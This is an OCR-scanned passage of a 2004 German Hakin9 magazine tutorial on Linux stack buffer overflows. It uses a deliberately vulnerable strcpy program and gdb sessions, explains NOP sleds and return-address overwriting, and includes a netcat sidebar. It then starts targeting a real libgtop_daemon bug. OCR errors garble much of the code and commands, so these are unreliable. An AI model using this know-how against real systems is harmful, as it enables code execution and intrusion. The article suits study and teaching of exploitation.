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tackuberlauf ist einer der altesten
S Tricks, mit denen die Kontrolliibernahme

Uber ein fehlerhaftes Programm erfolgen
kann. Softwareentwickler begehen immer wieder
Fehler, die es Angreifern ermdglichen, sie anzu-
wenden. Sehen wir uns die Anwendung dieser
Technik an.

Wir fangen mit dem Programm stack_1.c
(Listing 1). Die Funktion tn bezieht ein Argu-
ment (Verweis auf die Zeichenkette char =a)
und kopiert es in das Zeichenarray char buf[10].
Diese Funktion wird in der ersten Programmzeile
(En (argv(1])) aufgerufen, und als Argument wird
das erste Argument aus der Kommandozeile
(argvi1]) verwendet. Wir kompilieren das Pro-
gramm und starten es:

$ gcc -o stack 1 stack l.c

$ ./stack 1 RAAA

Es beginnt mit einem Aufruf der Funktion fn.
Als Argument wird die Zeichenkette aaaa Uber-
geben. Diese wird in das Array but kopiert, das
Programm daraufhin gibt zwei Meldungen aus:
Uber die komplette Ausfiihrung der Funktion
und Uber das Programmende. AnschlieRend
beendet es die Arbeit.
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Auch ein sehr einfaches
Programm, das auf den

ersten Blick korrekt aussieht,
kann Fehler enthalten, die

es ermoglichen, das System
einen vorgeschobenen Code
ausfuhren zu lassen. Es genugt,
wenn die Anwendung Daten in
ein Array einfugt, ohne zuerst
ihre Lange zu uberpriifen.

Versuchen wir nun, etwas Sand ins Ge-
triebe zu schitten. Zu bemerken ist, dass
das Array put nur zehn Zeichen (char buf[10])
aufnimmt, wahrend die darin zu platzierende
Zeichenkette beliebig lang sein kann. Ein
Beispiel:

$ ./stack 1 AAAAAAAAAAAAAAAAAAAAAAAAAARAAA

Auf diesem Artikel
erfahren Sie...

worin die Technik des Stackuberlaufs (stack
overflow) besteht,
wie man erkennen kann, dass ein Programm
gegen diese Technik anfallig ist,

+ wie ein anfdlliges Programm dazu gebracht
werden kann, einen vorgeschobenen Code
auszufiihren.

Was Sie vorher
wissen sollten...

+ die Grundlagen der Programmiersprache C
beherrschen,
die Grundlagen der Arbeit unter einem Linux-
System (aus der Befehlszeile heraus) kennen.
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Listing 1. stack_1.c—ein
Beispielprogramm 37 89
void fn(char *a) push /—qush
char buf[10];
strcpy (buf, a); 37
printf ("Ende der fn\n");
24 24
—_— >
main (int argc, char *argvl[]) 254 254
fn(argv[l]);
printf ("Ende\n"); 31 31
173 173
Ein so aufgerufenes Programm Stack Stack

versucht, dreilig Zeichen in ein
zehn Zeichen langes Array einzufl-
gen und beendet mit einem Fehler,
indem es ein segmentation fault
meldet. Zu beachten ist, dass keine
Information wie das Array buf ist zu
klein ausgegeben wird, sondern wir
werden uber ein Segmentierungs-

fehler (engl. segmentation fault)
benachrichtigt. Dies bedeutet, dass A
das Programm versucht hat, auf
einen Speicherbereich zuzugreifen
(darin zu schreiben oder daraus zu > 37 Ny <
.. . . 2 =)
lesen), fur den es keine Zugriffsbe- § a2
rechtigungen hat. z| 2 24 33
. S S So
Man kdénnte glauben, dass das § 2 3 2
Programm die ersten zehn Buch- g i 254 3 :
staben A ins Array eingefligt und g 5 E%
dann einen Versuch festgestellt hat, @ §
in einen unzuldssigen Speicherbe- 173 <
reich zu schreiben — und dass das \/ Y

die Ursache flr die Fehlermeldung
war. Falsch. Die Anwendung hat
die Dreilligbytekette problemlos
ins Zehnzeichenarray  einge-
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89
89 F_J pop
37 37
24 24
—>
254 254
31 31
173 173
Stack Stack

Abbildung 1. Die grundlegenden Operationen am Stack sind das Ablegen
von Zahlen und das Entfernen des obersten Elements. In dieser Situation
legen (engl. push) wir zuerst die Zahl 37 auf dem Stack ab (wo sie ganz
oben abgelegt wird) und anschlieBend die Zahl 89. Wenn wir dann einen
Wert vom Stack entfernen (engl. pop), erhalten wir die zuletzt abgelegte
Zahl 89. Um an die Zahl 37 zu gelangen, miissten wir noch einen Wert vom

Stack entfernen

«—

Frampointer (Anfang des Bereiches
fur lokale Variablen)

das oberste Element im Stack

Abbildung 2. Unter Linux auf der x86-Plattform wéchst der Stack nach
unten an (Erklérungen hierzu stehen im Text)

Einige wichtige Begriffe

Bugtraq — eine sehr beliebte Mailing List, in der Informationen tber aufgedeckte
Sicherheitsliicken veroffentlicht werden. Die bugtrag-Archive sind im Internet unter
http://www.securityfocus.com/ zu finden.

nop — die Assembler-Sprachen der meisten CPUs bieten einen Befehl, der uber-
haupt nichts tut — den Befehl nop. Man kénnte meinen, dass er keinen Sinn hat, al-
lerdings erweist er sich ab und zu — wie wir es in dem Artikel sehen — als durchaus
natzlich.

Debugger — ein Tool zur Uberwachten Ausfiihrung von Programmen. Es lasst
das Programm stoppen und seine Arbeit fortsetzen lassen, es Schritt fiir Schritt
ausfiihren, die Werte von Variablen Uberprifen und modifizieren, den Inhalt des
Speichers sowie der CPU-Register anzeigen usw.

Segmentation fault — ein Fehler, der gemeldet wird, wenn ein Programm aus einem
Speicherbereich zu lesen bzw. darein zu schreiben versucht, auf den es nicht zu-
greifen darf.
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fragen und somit zwanzig nach
dem vom Array puf(i0] folgende
Speicherbytes lberschrieben. Der
Fehler, auf den die Meldung seg-
mentation fault bezogen war, ist
viel spater entstanden, und seine
Ursache war die Beschadigung
des Speicherbereiches, die bei der
Uberschreibung der zwanzig Bytes
erfolgte.

Bevor wir erfahren, was zwi-
schen der Uberschreibung der
zwanzig Speicherbytes und der
Meldung des Segmentierungsfeh-
lers geschieht, miissen wir uns an
einige grundlegende Tatsachen
erinnern.

www. hakinS.org
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Listing 2. Der Aufruf einer
Funktion — Listing zu
Abbildung 3

main ()
int a;
int b;
fn();

void fn()
int x;
int y;

printf ("wir befinden uns in fn\n");

Was jeder uber den
Stack wissen sollte

Jedem gestarteten Programm wird
vom Betriebssystem ein bestimmter
Speicherbereich zugewiesen. Die-
ser Bereich besteht aus mehreren
Bereichen — eine enthalt gemein-
sam genutzte Bibliotheken, eine an-
dere den Programmcode, noch eine
seine Daten. Der Bereit, die wir uns
genauer ansehen, ist der Stack.

Der Stack ist eine Struktur zur
temporadren  Aufbewahrung von
Daten. Sie kénnen ganz oben auf
dem Stack abgelegt werden oder
von ihm heruntergeholt werden.
Die Operationen sind in Abbildung
1 dargestellt.

main () {

int a;
int b; «——
fn();
}
void fn () {
int x;
int y;
printf ("wir befinden uns
in fn\n");
}
< Framepointer
int a
int b <«——das oberste
Element im Stack

Listing 3. stack_2.c — Listing
zu Abbildung 4

void fn(int argl, int arg2)
int x;
int y;

printf ("wir befinden uns in fn\n");

main ()
int a;
int b;
fn(a, b);

In der Praxis dient der Stack
den Anwendungen dazu, lokale
Variablen aufzubewahren. Es ist
wichtig, dass das Programm, das
den Stack nutzt, zwei Adressen
kennt. Die erste ist die Adresse des
obersten Elements im Stack — sie
ist notwendig, damit die Variab-
lenwerte abgelegt werden kdénnen
(das Programm muss wissen, unter
welcher Adresse die abgelegten
Daten platziert werden sollen). Ei-
ne zweite wichtige Adresse ist der
sog. Rahmenzeiger, der Anfang des
Bereiches, wo die lokalen Variablen
der zurzeit ausgefihrten Funktion
aufbewahrt werden. Im vorliegen-
den Fall (Linux auf der x86-Platt-
form) ist die Adresse des obersten
Elements im Stack im Register sesp,

main () {

int a;
int b;
fn();
}
void fn () {
int x;
int y;
printf ("wir befinden <
uns in fn\n");
}
int a
int b <<—— Framepointer
int x
int y <«——das oberste
Element im Stack

Abbildung 3. Lokale Variablen auf dem Stack (vereinfacht) — Abbildung zu

Listing 2
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Listing 4. Eine modifizierte
Version des Programms aus
Listing 3; wir beobachten
seine Arbeitsweise mit einem
Debugger

void fn(int argl, int arg2
int x;
int y;
x=3; y=4;

printf ("wir befinden uns in fn\n");

main ()
int a;
int b;
a=1; b=2;
fn(a, b);

und die des Framepointers im Re-
gister sepp gespeichert.

Ein anderes charakteristisches
Merkmal dieser Plattform ist, dass
der Stack nach unten wéachst. Das
bedeutet, dass das oberste Ele-
ment im Stack die Speicherzelle mit
der niedrigsten Adresse ist (siehe
Abbildung 2). Die jeweils auf den
Stack abgelegten Werte werden
unter immer niedrigeren Adressen
platziert.

Was auf dem Stack beim
Aufrufen einer Funktion
geschieht
Wenn eine Funktion aufgerufen
wird, passiert auf dem Stack al-
lerlei Interessantes. Da die neue
Funktion eigene lokale Variablen
besitzt, und die vorhandenen lo-
kalen Variablen (der aufrufenden
Funktion) vom Stack nicht entfernt
werden durfen (weil sie nach der
Rickkehr aus der aufgerufenen
Funktion gebraucht werden), muss
das Register sepp (der Rahmenzei-
ger) von nun an auf das beim Aufruf
dieser Funktion oberste Stackele-
ment hinweisen. Hier beginnt jetzt
der Speicherbereich fir die neuen
Lokalvariablen. Genauer wird das
in Abbildung 3 dargestellt, die die
Ausfiihrung des Codes aus Listing
2 illustriert.

Die Abbildung zeigt den Stack-
stand gegen Ende der Funktion

HakinS Nr. 4 /2004



main(). Wie es rechts zu sehen ist,
befinden sich zwei lokale Variablen
auf dem Stack — int a und int ». Der
Rahmenzeiger (das Register sepp)
weist auf den Beginn des durch lokale
Variablen der Funktion main () besetz-
ten Bereichs hin, und der Zeiger auf
das oberste Stackelement — auf das
Ende dieses Bereichs. Nach dem
Aufruf der Funktion n () (rechts in der
Abbildung) ist auf dem Stack nach
dem Bereich mit den Lokalvariablen
der Funktion nain() ein Bereich flir
die Lokalvariablen der Funktion £n()
zu finden. Der Rahmen fangt jetzt
also dort an, wo der Variablenbereich
der Funktion tn() anfangt, und das
oberste Element im Stack ist das En-
de dieses Bereichs. Diese Beschrei-
bung vereinfacht den Sachverhalt:
Eigentlich geschieht doch beim Auf-
rufen einer Funktion viel mehr.

Wenn die Funktion £n() beendet
wird, muss die Kontrolle zuriick an
die Funktion main() Uberreicht wer-
den. Damit dies mdglich ist, muss die
Ruckkehradresse aus der Funktion
fn() in die Funktion main() vor dem
Aufruf der ersteren gespeichert wer-
den. Nach der Rickkehr zu main()
soll das Programm weiter so funk-
tionieren, als ob diese Funktion nie
unterbrochen worden ware. Auch der
Stack hat zu seinem Zustand von vor
dem Aufruf von £n() zurlickzukeh-
ren. Dazu muss neben der Rick-
kehradresse auch die Adresse des
Rahmenbeginns behalten werden.
Im prasentierten Beispiel nimmt die
Funktion fn() keine Argumente an.
Im Programm stack_2.c (Quellcode
in Listing 3) werden an fn() zwei
Argumente in Form von naturlichen
Zahlen Uberreicht. Beim Aufruf von
fn() AuS main() heraus mussen diese
Argumente irgendwie weitergeleitet
werden.

Alle genannten Werte (die Ruck-
kehradresse aus der Funktion, die
Adresse des friheren Rahmenbe-
ginns und die Argumente) werden
auf dem Stack gespeichert. Abbil-
dung 4 zeigt, was bei dem Aufruf von
fn() aus main() heraus geschieht.

Stackiberlauf unter Linux

1
void fn(int argl, int arg2)

int a

int x;

int b

int y;
printf ("wir befinden -

uns in fn\n");
}
main() {
int a;
int b;
—» fn(a, b);
}

2

void fn(int argl, int arg2)

int a

int x;
int y;

int b

printf ("wir befinden -

Argument 1->a

uns in fn\n");

}

Argument 2->p

main () {

int a;

int b;
—» fnia, k);:
}

3
int a void fn(int argl, int arg2)
- int x;
int b int y;

Argument 1->a

printf ("wir befinden -
uns in fn\n");

Argument 2->b

}

main () {

Rickkehradresse int a;
int b;
—>» 1in(a, b);
}
4
void fn(int argl, int arg2)
int a —>» int x;
int y;
int b

printf ("wir befinden -

Argument 1->a

uns in fn\n");

}

Argument 2->p

main () {
int a;

Rickkehradresse

int b;

alte Adresse des
Rahmenzeigers

\ fn(a, b);
¥

int a

int b

void fn(int argl, int arg2)

Argument 1->a

int x;
int y;

Argument 2->p

—» printf("wir befinden -
uns in fn\n");

Riickkehradresse

}

main
alte Adresse des int() af
Rahmenzeigers int b;
int = fn(a, b);
}
int y

Der erste Teil der Abbildung stellt ~ Abbildung 4. Operationen am Stack beim Aufrufen einer Funktion
eine Situation dar, in der das Pro- — Abbildung zu Listing 2 (Erkl&rungen stehen im Text)

HakinS Nr. 4 /2004 www. hakinS.org
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Listing 5. Eine Sitzung des Debuggers gdb — wir beobachten den
Stackinhalt bei der Ausflihrung des Programms aus Listing 3

$ gcc stack_2.c -o stack 2 -ggdb
$ gdb stack 2
GNU gdb 6.0-debian

(
(gdb) list
2 int x;

3 int y;

4 x=3; y=4;

5 printf ("wir befinden uns in fn\n");
6

7

8

9

11 a=1; b=2;

(gdb) break 5

Breakpoint 1 at 0x8048378: file stack 2.c, line 5.
(gdb) run

Starting program: /home/piotr/nic/stos/stack 2

Breakpoint 1, fn (argl=l, arg2=2) at stack 2.c:5
5 printf ("wir befinden uns in fn\n");

(gdb) print Sesp

$1 = (void *) Oxbffff9f0

(gdb) x/24 Sesp

Oxbffff9f0:0x080483c0 0x080495d8 Oxbffffal8 0x08048265
0xbffffa00: 0x00000004 0x00000003 Oxbffffa28 0x080483b6
Oxbffffall: 0x00000001 0x00000002 Oxbffffa74 0x40155630
Oxbffffa20: 0x00000002 0x00000001 Oxbffffad8 0x4003bdcét
Oxbffffa30: 0x00000001 Oxbffffa74 Oxbffffa7c 0x40016c20
Oxbffffad0: 0x00000001 0x080482a0 0x00000000 0x080482cl

(gdb) disas main

Dump of assembler code for function main:
0x08048386 <main+0>: push sebp

0x08048387 <main+l>: mov $esp, $ebp

0x08048389 <main+3>: sub $0x18, $esp
0x0804838c <main+6>: and SOxfEfEffff0, Sesp
0x0804838f <main+9>: mov $0x0, $eax

0x08048394 <main+14>: sub Seax, sesp

0x08048396 <main+l6>: movl $0x1,0xfffffffc (Sebp)
0x0804839d <main+23>: movl $0x2, OxfEEEEEE8 ($ebp)
0x080483a4 <main+30>: mov Oxffff£££8 (Sebp), Seax

0x080483a7 <main+33>: mov Seax, 0x4 (%esp, 1)
0x080483ab <main+37>: mov Oxfffffffc(%ebp), Seax
0x080483ae <main+40>: mov Seax, (%esp, 1)

0x080483b1 <main+43>: call 0x8048364 <fn>
0x080483b6 <main+48>: leave

0x080483b7 <main+49>: ret

End of assembler dump.

(gdb) print $ebp+4

$2 = (void *) Oxbffffalc
(gdb) x Oxbffffalc
Oxbffffalc: 0x080483b6
(gdb) quit

gramm bis zur Zeile int » ausgefuhrt
wird (die Zeile ist in der Abbildung
mit einem Pfeil markiert). Offenbar
befinden sich auf dem Stack zwei

lokale Variablen der Funktion main ():
int a und int b. Der blaue Pfeil zeigt
auf das unterste Element des Stacks,
der rote — auf das oberste.
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Im zweiten Teil ist der Stack zu
sehen, als die Zeile tn(a, b) ausge-
fuhrt wird. Offenbar werden dabei
die Argumente der Funktion fn),
die Variablen a und » auf den Stack
abgelegt.

Der nachste Schritt ist im dritten
Teil abgebildet. Hier wird die Rick-
kehradresse auf den Stack abgelegt,
die nach Ende der Funktion fn()
verwendet werden soll. Es ist die
Adresse des nach fn(a, b») folgen-
den Befehls von main ().

AnschlieRend erfolgt ein Sprung
zum Anfang der Funktion £n() und
wir gehen zum viertel Teil der Abbil-
dung Uber. Offenbar wird der aktu-
elle Wert des Rahmenbeginns auf
den Stack abgelegt, und das zurzeit
oberste Stackelement (die Stelle,
wo die Lokalvariablen der Funktion
fn() beginnen werden) wird zum
neuen Rahmenzeiger. Danach
(siehe funfter Teil der Abbildung)
werden lokale Variablen der Funkti-
on £n(), d.h. int x und int v, auf den
Stack abgelegt, und £n () wird weiter
ausgefuhrt.

Live-Demonstration
Um sicherzugehen, dass der Stack
bei der Ausfiihrung eines echten
Programms wirklich wie beschrie-
ben aussieht, starten wir eine mo-
difizierte Version der Anwendung
aus Listing 3 (diese Version steht in
Listing 4 und unterscheidet sich vom
Original durch zwei zusétzliche Zei-
len, in den die Werte der Variablen
a, b, x Und y gesetzt werden, so dass
wir uns besser orientieren konnen,
wo auf dem Stack diese Variablen
aufbewahrt werden). Wir sehen uns
das Programm mit dem Debugger
gdb genauer an (siehe Listing 5,
die Aufzeichnung einer Debugger-
Sitzung).

Zuerst kompilieren wir das Pro-
gramm:

$ gcc stack 2.c -o stack 2 -ggdb
Der Compiler wird mit der Option
-ggdb aufgerufen, so dass spezielle

Informationen fir den Debugger an
den eigentlichen Code angehangt
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werden. Jetzt kann der Debugger
gestartet werden:

$ gdb stack 2

Nach dem Aufruf von gdb kénnen wir
uns ein Listing des analysierten Pro-
gramms ansehen (der Befehl 1ist)
und danach einen Haltepunkt setzen
— etwa in der vierten Zeile der Funk-
tion £n(), das heildt in printf("wir
befinden uns in f£n\n");. Der Halte-
punkt wird mit dem Kommando break
Zeilennummer gesetzt, in diesem Fall
also mit:

(gdb) break 5

Nun kénnen wir auch das Programm
(mit dem Befehl run) aufrufen. Es
startet und halt dort, wo wir den Hal-
tepunkt gesetzt haben, also in der
Zeile funf, an. Wir kébnnen uns den
Inhalt des Stacks ansehen. Zuerst
brauchen wir die Adresse des obers-
ten seiner Elemente aus dem Regis-
ter sesp. Wir geben das Kommando:

(gdb) print Sesp

ein. Jetzt kdnnen wir den Inhalt
des Speichers ab der erhaltenen
Adresse anzeigen lassen. Sehen wir
uns beispielsweise vierundzwanzig
nacheinander folgende Vierbytewor-
ter an:

(gdb) x/24 Sesp

Die Ausgabe des Befehls steht in Lis-
ting 5. Offenbar stehen am Anfang
des Stacks (vom obersten Element
Richtung Rahmenzeiger) sechzehn
Bytes (die Stackgrofle wurde auf
den nachsthéheren Ganzzahl-Wert
abgerundet). Danach folgen die
zwei Vierbytewérter oxo0000004 und
0x00000003 — es sind die Variablen x
und y. Danach folgen (siehe flinfter
Teil der Abbildung 3) die Adresse
des vorigen untersten Elements im
Stack und die Ruickkehradresse
aus der Funktion (hier, in Listing 5,
0x080483b6). Uberpriifen wir, ob die
Rickkehradresse aus der Funktion
wirklich auf die Funktion main() hin-

HakinS Nr. 4 /2004
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auftritt

$ gdb stack 1
GNU gdb 6.0-debian
(..0)

(gdb) list

1 void fn(char *a) {

2 char buf[10];

3 strcpy (buf, a);

4 printf ("Ende der fn\n");

5 1}

6

7 main (int argc, char *argv[]) {
8 fn(argvi(l]);

9 printf ("Ende\n");

[
o

}
(gdb) break 3

3 strcpy (buf, a);

(gdb) print &buf

$1 = (char (*)[10]) Oxbffff9el
(gdb) print $ebp+4

$2 = (void *) Oxbffff9fc

(gdb) x Oxbffff9fc

Oxbffff9fc: 0x080483da

(gdb) next

4 printf ("Ende der fn\n");
(gdb) x $ebp+4

Oxbffff9fc: 0x08004141

Listing 6. Eine Debugger-Sitzung — wir (iberpriifen, warum ein
Segmentierungsfehler bei der Ausfiihrung des Programms aus Listing 1

Breakpoint 1 at 0x804839%a: file stack 1.c, line 3.
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/piotr/stos/stack 1 AAAAAAAAAAAAAAAAAAAAAAAAAARAAA

Breakpoint 1, fn (a=0xbffffb84 'A' <repeats 30 times>) at stack 1l.c:3

weist. Dazu disassemblieren wir die
Funktion main ():

(gdb) disas main

Wie Listing 5 zu entnehmen ist, liegt
die Adresse 0x080483b6, die Rick-
kehradresse aus fn(), tatsachlich
innerhalb der Funktion main (), direkt
nach dem Aufruf von £n ().

Wohlgemerkt brauchen wir nicht
den ganzen Stack vom obersten Ele-
ment an Uber jede Lokalvariable zu
verfolgen, um die Rickkehradresse
aus einer Funktion aufzusuchen. Es
genlgt, den Inhalt des Registers
sebp zU Uberprufen und dazu vier zu
addieren:

(gdb) print $ebp+4

Wie Abbildung 3 (flnfter Teil) zu ent-
nehmen ist, weist das Register sebp
auf die auf dem Stack gespeicherte

Adresse des friiher untersten Elements
im Stack hin. Sie nimmt vier Bytes auf,
unter der nachsten, vier Bytes hdheren
Adresse (nicht vergessen — der Stack
wachst nach unten) befindet sich also
die Rickkehradresse aus der Funkti-
on. Wir kdnnen uns davon tberzeugen
indem wir das Befehl:

(gdb) x Oxbffffalc
0x080483b6

eingeben.

Analyse des

Programms

Jetzt, mit dem neu erworbenen
Wissen uber den Ablauf am dem
Stack bei der Ausfliihrung eines Pro-
gramms, kdnnen wir uns den Code
von stack_1.c (Listing 1) noch einmal
ansehen. Wie gezeigt, hat er mit
einem Fehler beendet, wenn wir ver-
sucht haben, eine Dreilligbytekette in

www. hakinS.org
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Ruckkehradresse —

alte Adresse des
Rahmenzeigers

apoojjays

dON |8podjiBys

buf[]

‘_

Abbildung 5. Der Aufbau der
Kette, die den Buffer auf dem Stack
liberlaufen lasst und somit das
System unseren bésartigen Code
ausfiihren lasst (die erste und die
zweite Methode)

ein Zehnbytearray einzupassen. Ver-
suchen wir ihn also mit dem Debug-
ger zu verfolgen und Uberprifen wir,
was zwischen der Uberschreibung
der zwanzig Speicherbytes nach dem
Array puf[i0] und der Beendigung
des Programms mit der Meldung seg-
mentation fault vor sich geht.

Zuerst kompilieren wir das Pro-
gramm mit Debugging-Informatio-
nen:

$ gcc stack l.c -o stack 1 -ggdb

Nun versuchen wir einen kontrollierten
Fehler zu provozieren. Dazu starten
wir den Debugger, setzen einen Hal-
tepunkt in der dritten Codezeile (d.h.
in der kritischen Zeile strcpy (buf, a);)
und starten das Programm mit dreilig
Buchstaben A als Argument (eine
komplette Aufzeichnung der Debug-
ger-Sitzung steht in Listing 6):

(gdb) run \
AAAAAAAAAAAAAAAAAAAAAAAAAAARAAA

Das Programm macht an dem Halte-
punkt in der Zeile drei Halt. Uberprii-
fen wir, unter welcher Adresse sich
das Array vur(] befindet:

(gdb) print s&buf
$1 = (char (*)[10]) Oxbffff9el

Und die Rilckkehradresse aus der
Funktion?

(gdb) print $ebp+4
$2 = (void *) Oxbffff9fc

Offenbar sind der Anfang des Arrays
und die Rickkehradresse aus der
Funktion nur achtundzwanzig Bytes
entfernt. Kein Wunder, dass, wenn
ins Array dreiBig Bytes eingeflugt
werden, die Rickkehradresse ange-
tastet wird. Mal sehen, ob es wirklich
so geschieht — schauen wir uns die
Ruckkehradresse vorm Kopieren
des Arguments a in das Array but:

(gdb) x Oxbffff9fc
Oxbffff9fc: 0x080483da

Jetzt lassen wir den Debugger die
nachste Codezeile ausflihren (die
DreiRBigzeichenkette in das Array
einfligen):

(gdb) next

und sehen uns jetzt die Rickkehra-
dresse an:

(gdb) x $Sebp+d
Oxbffff9fc: 0x08004141

Offenbar wurden zwei niederwertige-
re Bytes der Adresse mit dem Wert
ox414 Uberschrieben. Hexadezimal
steht Ox41 fur (wie es man ascii zu
entnehmen ist) den Buchstaben A.
Der Schluss daraus ist klar: Wenn
das Ende einer zu langen Kette die

Ruckkehradresse aus der Funktion
Uberschreiben kann, kann vielleicht
eine entsprechend konstruierte Ket-
te diese Adresse durch einen Wert
ersetzen, der das Programm nach
der Ausfiihrung der Funktion an eine
von uns bestimmte Adresse schickt.
Diese Adresse kann dann auf einen
Code hinweisen, den wir im Spei-
cher platziert haben und der Dinge
anstellt, die der Administrator des
angegriffenen Systems auf keinen
Fall tun wirde — der uns etwa Root-
Berechtigungen verleiht oder eine
Shell an einem festgelegten Port 6ff-
net. Damit der Code in den Speicher
gelangt, braucht er lediglich in der
Argumentkette enthalten zu sein.

Unsere Kette (siehe Abbildung 5,
die Kette links) muss aus zwei Teilen
bestehen. Der eine enthalt den Co-
de (in Maschinensprache), der uns
bdsartiges Ziel erreichen lasst (den
sog. Shellcode). Der andere bewahrt
die Adresse des ersten auf und Uber-
schreibt die Rulckkehradresse aus
der Funktion; auf dieser Art und Wei-
se wird der bdsartige Code aus dem
ersten Teil nach der Beendigung der
Funktion ausgefihrt.

Bevor wir das erworbene Wissen
praktisch umzusetzen versuchen,
Uberlegen wir uns, welchen Proble-
men wir begegnen kénnen. Erstens,
woher nehmen wir den Shellcode?
Wohlgemerkt muss er kurz sein (so
dass er in den Buffer passt) und

netcat

$ nc IP-Adresse Portnummer

$ nc -1 -p Portnummer

netcat ist ein Tool, das eine Verbindung zum vorgegebenen Port am Rechner mit der
vorgegebenen IP-Adresse aufbaut, Daten daran sendet und die davon gesendeten
empfangt. Es wird mit dem folgenden Befehl gestartet:

Daten, die netcat Uber seine Standardeingabe erhalt (beispielsweise vom Benutzer ein-
getippt) werden an das Fernsystem weitergeleitet. Diejenigen, die uns das Fernsystem
zuschickt, werden an der Standardausgabe geschrieben.

netcat kann auch im Servermodus arbeiten. Mit den Optionen:

gestartet, lauscht es an dem vorgegebenen Port, indem es auf eine eingehende Ver-
bindung wartet. Nachdem eine aufgebaut worden ist, verhélt sich das Tool wie oben
beschrieben — die Daten von der Standardeingabe werden ans Fernsystem geschickt,
und die vom Fernsystem zugeschickten werden an der Standardausgabe geschrieben.
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darf keine Nullbytes enthalten (sonst
kénnen wir ihn nicht in die Argu-
mentkette eingliedern — das Nullbyte
wird als das Endzeichen der Kette
betrachtet). Trotz allem Anschein
ist es nicht schwierig, einen Shell-
code zu entwickeln. Die Erstellung
von Shellcodes fiir die einzelnen
Betriebssysteme wurde mehrmals
im Internet und in unserem Magazin
besprochen. Wir bedienen uns eines
fertigen Shellcodes, der problemlos
im Web gefunden werden kann,
und die selbststandige Entwicklung
davon lassen wir fur ein anderes
Mal tber.

Wie lang muss die Kette sein,
damit sie die Ruckkehradresse aus
der Funktion Uberschreibt? Diese
Frage beantworten wir mit einem
Experiment: Wir geben dem 16chri-
gen Programm eine immer langere
Zeichenkette als Argument an. Dann
merken wir uns, bei welcher Ket-
tenldnge der Segmentierungsfehler
gemeldet wird, und beim Angriff
verwenden wir fur alle Falle eine
etwas langere Kette. Indem wir den
Speicherbereich hinter der Riuckkehr-
adresse uberschreiben, beschadigen
wir die lokalen Variablen der Funktion,
die unsere aufgerufen hat (was kaum
ein Verlust ist, da wir sowieso nicht
vorhaben, sie weiter auszufiihren).

Durch was fur eine Adresse er-
setzen wir aber die Rickkehradres-
se aus der Funktion? In Abbildung 5
steht hier einfach Adresse des Shell-
codes, woher wissen wir aber bei der
Zusammenstellung einer bdsartigen
Kette, unter welcher Adresse das
I6chrige Programm unsere Kette
platziert? Wir gehen an das Problem
von zwei Seiten heran. Erstens ver-
suchen wir, das Programm mit einem
Debugger zu analysieren und so zu
ermitteln, wo es im Speicher das
angegebene Argument ablegt. Zwei-
tens stellen wir dem Shellcode in der
konstruierten Kette eine Reihe von
wirkungslosen nop-Befehlen voran
(siehe Abbildung 5, die Kette rechts).
Auf diese Art und Weise passiert
nichts Schlimmes, auch wenn wir
den genauen Anfang des Shellcodes
verpassen — einige nops werden
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int i;

char auth protocol([128];

char buf[1024];

int auth_data_len;

/* Read auth protocol name */
return FALSE;

(.00)

return FALSE;
auth_data_len = atoi (buf);
if (

return FALSE;

timed read (fd, buf, auth data len, AUTH_TIMEOUT, 0)

Listing 7. Die Funktion pernitted(), ein Fragment der Datei src/
daemon/gnuserv.c aus den Quellen des Programms libgtop

static int permitted (u_long host addr, int fd)

if (timed_read (fd, auth_protocol, AUTH_NAMESZ, AUTH_TIMEOUT, 1) <= 0)

if (!strcmp (auth_protocol, MCOOKIE_NAME)
if (timed read (fd, buf, 10, AUTH TIMEOUT, 1) <= 0)

!= auth_data_len)

Lies eine Datenzeile in die
Variable auth_protocol ein.

auth_protocol
== "MAGIC_1"?

NEIN

Lies eine Datenzeile ein, fig sie (als
Zahl) in auth data_len ein.

Y

Lies eine Datenzeile (nicht mehr als
auth_data_len Zeichen) in den Puffer

buf[] ein.

Abbildung 6. Ein Fragment der Funktion permitted() (Abbildung zu Listing 7)

Ubersprungen und der Shellcode
wird ausgefihrt.

Hier eine kleine Bemerkung: Der
Abstand zwischen dem Arrayanfang
puf[] und der Rickkehradresse der
Funktion bleibt unverandert, wenn
dieselbe Anwendung auf anderem
Rechner gestartet wird. Es sollte
also reichen in einer der lickenhaf-
ten Anwendung geleiferten Kette
nur ein mal wiederholte Adresse

zu platzieren. Die Lange der Kette
muss man anpassen um die Adresse
in der richtige Stelle platziert wurde.
Es ist besser, wenn der nopen-Block
langer als 4 Bytes wird. Wenn Shell-
code irgendwelche Werte auf den
Stack ablegen wird, kdnnen sie das
Ende der von unf gelieferten Kette
Uberschreiben. Wenn der nope-
Block nicht genug lang wird, kann
Shellcode beschadigt werden.
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timed read ( fd,
(...)
c=0;
nbytes = 0;

(«o0)

r = select

(r > 0)
(read (fd, &c, 1) == 1)

*pbuf++ = c;

++nbytes;
(..2)

((nbytes < max) &&
(...)
nbytes;

*buf,

! (one_line &&

Listing 8. Die Funktion timed _read(), ein Fragment der Datei src/
daemon/gnuserv.c aus den Quellen des Programms libgtop

max, timeout, one_line)

(fd + 1, &rmask, NULL, NULL, &tv);

(c == "'"\n")));

START

<
<

Y
Lies ein Zeichen aus der Reihe
ein, fig es ins Array ein.

Ist das Zeichen ein

NEIN

Zeilenendzeichen?

.

Waurde die
Maximalmenge

an Daten erreicht?

Abbildung 7. Die Funktion tined _read() (vereinfacht); Abbildung zu Listing 8

Die Offensive beginnt
Jetzt, da wir schon einen Plan haben,
kénnen wir einen Angriff gegen das
l6chrige Programm aus Listing 1
durchfuhren. Warum sollten wir aber
eine eigene, absichtlich fehlerhafte
Anwendung angreifen? Da wir schon
(wenigstens theoretisch) wissen, wie
es geht, versuchen wir, ein Leck in ei-
nem echten Programm auszunutzen.
In den bugtrag-Archiven finden wir
eine geeignete l6chrige Anwendung.

Aus einem der Postings erfahren wir,
dass die Bibliothek libgtop Version
1.0.6 einen Fehler enthalt, der einen
Uberlauf des StackBuffers ermog-
licht. libgtop ist eine Bibliothek, die
diagnostische Informationen Uber das
System ansammelt. Sie funktioniert in
der Client-Server-Architektur, und die
Liicke wurde in der Serverkomponen-
te (dem Programm libgtop_daemon)
entdeckt. Unser Angriff besteht darin,
dem Rechner, wo der Server arbeitet,
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entsprechend praparierte Daten zuzu-
schicken, so dass es zu einem Buffer
Overflow und der Ausfiihrung eines
von uns gelieferten Codes kommt.
Die Details nehmen wir uns gleich vor,
zuerst sehen wir uns an, worin genau
der Fehler in libgtop_daemon besteht
und wie wir das l6chrige Programm
zwingen konnen, unseren Code aus-
zuflhren.

Worin das Leck in libgtop _
daemon besteht

Der Quellcode der fehlerhaften Pro-
